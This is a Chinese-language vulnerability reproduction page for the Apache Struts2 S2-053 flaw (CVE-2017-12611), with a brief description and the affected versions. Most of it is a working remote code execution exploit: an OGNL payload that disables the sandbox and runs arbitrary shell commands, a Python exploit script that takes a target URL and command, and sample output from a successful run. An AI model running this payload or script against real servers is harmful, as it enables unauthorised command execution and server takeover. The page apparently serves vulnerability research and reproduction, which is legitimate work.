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（CVE-2017-12611）S2-053

一、漏洞简介

在一定条件下，当开发人员在Freemarker标签中使用错误的构造时，可能会导致远程代码执行漏洞

二、漏洞影响

Struts 2.0.1 - 2.3.33Struts 2.5 - 2.5.10

三、复现过程

poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

注意：执行命令的地方在于(#cmd='whoami')

python poc

Usage

exploit.py <url> <param> <command>

Example

$ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a"
[*] Generated EXP: http://127.0.0.1/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27uname%20-a%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D

[*] Exploiting...
[+] Response: <html>
<head>
<title>S2-053 Demo</title>
</head>
<body>
<h1>S2-053 Demo</h1>
<hr />
Your name: Linux a66c177c2326 4.4.0-70-generic ;jsessionid=64A259D92EC63543AD72E6AA847319C9#91-Ubuntu SMP Wed Mar 22 12:47:43 UTC 2017 x86_64 GNU/Linux

<hr />
Enter your name here:<br />
<form action="" method="get">
<input type="text" name="name" value="" />
<input type="submit" value="Submit" />
</form>
<br /><br /><br />
<p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
</body>
</html>

[+] Exploit Finished!

exploit.py

import requests
import sys
from urllib import quote

def exploit(url):
    res = requests.get(url, timeout=10)
    if res.status_code == 200:
        print "[+] Response: {}".format(str(res.text))
        print "\n[+] Exploit Finished!"
    else:
        print "\n[!] Exploit Failed!"

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print """****S2-053 Exploit****
Usage:
    exploit.py <url> <param> <command>
Example:
    exploit.py "http://127.0.0.1/" "name" "uname -a"
        """
        exit()
    url = sys.argv[1]
    param = sys.argv[2]
    command = sys.argv[3]
    #payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""
    # Can show the echo message
    payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
    link = "{}/?{}={}".format(url, param, quote(payload))
    print "[*] Generated EXP: {}".format(link)
    print "\n[*] Exploiting..."
    exploit(link)